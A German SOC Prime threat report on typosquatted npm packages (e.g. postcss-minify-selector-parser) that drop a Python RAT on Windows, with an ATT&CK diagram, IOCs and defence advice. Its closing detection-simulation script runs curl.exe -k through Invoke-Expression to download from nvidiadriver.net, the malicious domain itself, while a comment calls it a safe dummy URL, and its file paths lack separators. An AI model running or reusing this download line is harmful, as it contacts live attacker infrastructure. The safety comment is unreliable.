SOC Prime Bias: Hoch

25 Jun 2026 15:41 UTC

PostCSS als Tarnung für die Lieferung von Windows RAT

Author Photo
SOC Prime Team linkedin icon Folgen
PostCSS als Tarnung für die Lieferung von Windows RAT
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

Angreifer missbrauchen die Nachahmung von npm-Paketen, um einen mehrstufigen Windows-RAT zu verbreiten. Bösartige Pakete wie postcss-minify-selector-parser werden als legitime Build-Werkzeuge präsentiert, um Entwicklerumgebungen zu kompromittieren. Einmal ausgelöst, startet die Infektionskette einen PowerShell-Downloader, der einen Nuitka-kompilierten Python-RAT holt, der in der Lage ist, Anmeldeinformationen zu stehlen und Fernzugriff auf die Shell bereitzustellen.

Untersuchung

Forscher entdeckten einen Cluster von bösartigen npm-Paketen, die auf legitime Abhängigkeiten verweisen, um glaubwürdig zu erscheinen. Die Untersuchung kartierte eine mehrschichtige Infektionskette, die mit einem JavaScript-Dropper beginnt, zu einem PowerShell-Downloader fortschreitet und mit einer ausgeklügelten, auf Python basierenden Nutzlast endet. Durch die Analyse der Nuitka-kompilierten Komponenten konnten die Forscher das Kommando-und-Kontroll-Protokoll des RAT und unterstützte Befehle rekonstruieren.

Abwehr

Benutzer sollten die identifizierten bösartigen npm-Pakete sofort entfernen und Abhängigkeitsbäume auf jegliche transitive Exposition überprüfen. Organisationen sollten außerdem die bekannten Kommando-und-Kontroll-Domains und IP-Adressen blockieren. Bei Verdacht auf Kompromittierung sollten Entwickler ohne Verzögerung im Browser gespeicherte Anmeldeinformationen und alle entwicklungsbezogenen Tokens austauschen.

Reaktion

Windows-Endpunkte sollten auf Artefakte wie %TEMP%winPatch, %TEMP%.store, und %TEMP%.hostuntersucht werden. Ermittler sollten auch die Persistenz im HKCURun Registrierungsschlüssel für den csshost Wert überprüfen. Eine vollständige Prüfung der Entwickler-Arbeitsstationen sollte durchgeführt werden, um nicht autorisierte Aktivitäten aus der Ferne zu erkennen oder Anzeichen von Anmeldeinformationsdiebstahl ausfindig zu machen.

"graph TB %% Class Definitions classDef technique fill:#99ccff classDef malware fill:#ff9999 classDef tool fill:#cccccc classDef persistence fill:#99ff99 %% Node Definitions attack_supply_chain["<b>Technik</b> – <b>T1195.001 Lieferkettenkompromiss: Kompromittieren von Software-Abhängigkeiten und Entwicklungstools</b><br/><b>Beschreibung</b>: Paket-Imitation bei npm über ähnlich aussehende Pakete wie postcss-minify-selector-parser.<br/><b>Ziel</b>: Entwicklerumgebungen"] class attack_supply_chain technique attack_user_execution["<b>Technik</b> – <b>T1204.005 Benutzerausführung: Bösartige Bibliothek</b><br/><b>Beschreibung</b>: Wird ausgelöst, wenn das bösartige npm-Paket importiert wird.<br/><b>Aktion</b>: Führt einen kodierten JavaScript-Dropper aus."] class attack_user_execution technique process_powershell["<b>Technik</b> – <b>T1059.001 Befehl- und Skript-Interpreter: PowerShell</b><br/><b>Beschreibung</b>: PowerShell wird verwendet, um das bösartige Skript zu schreiben und auszuführen.<br/><b>Datei</b>: ../../settings.ps1"] class process_powershell technique attack_indicator_removal["<b>Technik</b> – <b>T1070.010 Indikator-Entfernung: Malware umleiten</b><br/><b>Beschreibung</b>: Verwendung einer irreführenden Domain zum Herunterladen der Nutzlast.<br/><b>Domain</b>: nvidiadriver[.]net"] class attack_indicator_removal technique tool_cmd_shell["<b>Technik</b> – <b>T1059.003 Befehl- und Skript-Interpreter: Windows-Kommandoshell</b><br/><b>Beschreibung</b>: Wird zum Extrahieren des Nutzlastpakets verwendet.<br/><b>Auslöser</b>: Ausführung nach dem Download."] class tool_cmd_shell technique malware_vbs_bootstrapper["<b>Malware</b> – <b>VBS Bootstrapper</b><br/><b>Beschreibung</b>: Startet die primäre Malware-Nutzlast."] class malware_vbs_bootstrapper malware malware_rat["<b>Malware</b> – <b>Fernzugriffstool (RAT)</b><br/><b>Beschreibung</b>: Python-basierter Loader, der Nuitka-kompilierte Module nutzt.<br/><b>Funktionalität</b>: Bietet Fernzugriffsmöglichkeiten."] class malware_rat malware attack_persistence["<b>Technik</b> – <b>T1547.001 Autostart-Ausführung beim Booten oder Anmelden: Registrierungsschlüssel / Startup-Ordner</b><br/><b>Beschreibung</b>: Erstellt einen Registrierungswert für Persistenz.<br/><b>Registrierungswert</b>: csshost"] class attack_persistence persistence attack_evasion["<b>Technik</b> – <b>T1497.001 Virtualisierungs-/Sandbox-Ausweichen: Systemüberprüfungen</b><br/><b>Beschreibung</b>: Verwendet WMI-Abfragen, um virtuelle Umgebungen zu erkennen.<br/><b>Befehl</b>: wmic bios get serialnumber"] class attack_evasion technique attack_c2["<b>Technik</b> – <b>T1219 Fernzugriffstools</b><br/><b>Beschreibung</b>: Hält die Kommunikation mit dem C2-Server mittels verschlüsselter POST-Pakete aufrecht.<br/><b>C2-Adresse</b>: hxxp[:]//95[.]216[.]92[.]207:8080"] class attack_c2 technique attack_credential_access["<b>Technik</b> – <b>T1555.003 Anmeldedaten aus Passwortspeichern: Anmeldedaten aus Webbrowsern</b><br/><b>Beschreibung</b>: Stiehlt gespeicherte Anmeldedaten aus Chrome.<br/><b>Zieldateien</b>: Login-Daten und lokale Einstellungen"] class attack_credential_access technique %% Connections attack_supply_chain –>|leads_to| attack_user_execution attack_user_execution –>|executes| process_powershell process_powershell –>|performs| attack_indicator_removal attack_indicator_removal –>|triggers| tool_cmd_shell tool_cmd_shell –>|launches| malware_vbs_bootstrapper malware_vbs_bootstrapper –>|installs| malware_rat malware_rat –>|establishes| attack_persistence malware_rat –>|performs| attack_evasion malware_rat –>|communicates_via| attack_c2 malware_rat –>|exfiltrates| attack_credential_access "

Angriffsablauf

## Simulationsausführung

Voraussetzung: Die Telemetrie & Baseline-Vorprüfung muss bestanden sein.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der Angreifertechnik (TTP), die entwickelt wurde, um die Erkennungsregel auszulösen. Die Befehle und Erzählungen MÜSSEN direkt die identifizierten TTPs widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird. Abstrakte oder nicht zusammenhängende Beispiele führen zu Fehldiagnosen.

  • Angriffserzählung & Befehle: Der Angreifer beabsichtigt, sich als legitimer Software-Update-Prozess auszugeben, um sich im System zu verankern. Dazu verwenden sie PowerShell, um das native curl.exe Dienstprogramm aufzurufen. Durch die Nutzung der -k (unsicheren) Flagge wird die Überprüfung des SSL-Zertifikats umgangen und durch Angabe eines Zielpfades in $env:TEMP mit einem Dateinamen wie winPatch.zipversuchen sie, sich in den Lärm routinemäßiger Systemupdates einzufügen. Das Ziel ist es, eine bösartige Nutzlast herunterzuladen, die, einmal ausgeführt, Fernzugriff bietet.

  • Regressionstest-Skript:

    # Simulationsskript zur Auslösung der spezifischen Erkennungsregel
    # Hinweis: Dieser verwendet eine Dummy-URL zur Sicherheit, ahmt aber die genau erforderliche Struktur der Regel nach.
    
    $cmd = 'curl.exe -k -o "$env:TEMPwinPatch.zip" https://nvidiadriver.net/verv1432/winpatch-xd7d.win'
    
    Write-Host "Simulierten bösartigen Downloadbefehl ausführen..."
    Invoke-Expression $cmd
  • Cleanup-Befehle:

    # Bereinigen der heruntergeladenen Dummy-Datei
    if (Test-Path "$env:TEMPwinPatch.zip") {
        Remove-Item -Path "$env:TEMPwinPatch.zip" -Force
        Write-Host "Bereinigung erfolgreich: Dummy-Datei entfernt."
    } else {
        Write-Host "Bereinigung: Datei nicht gefunden."
    }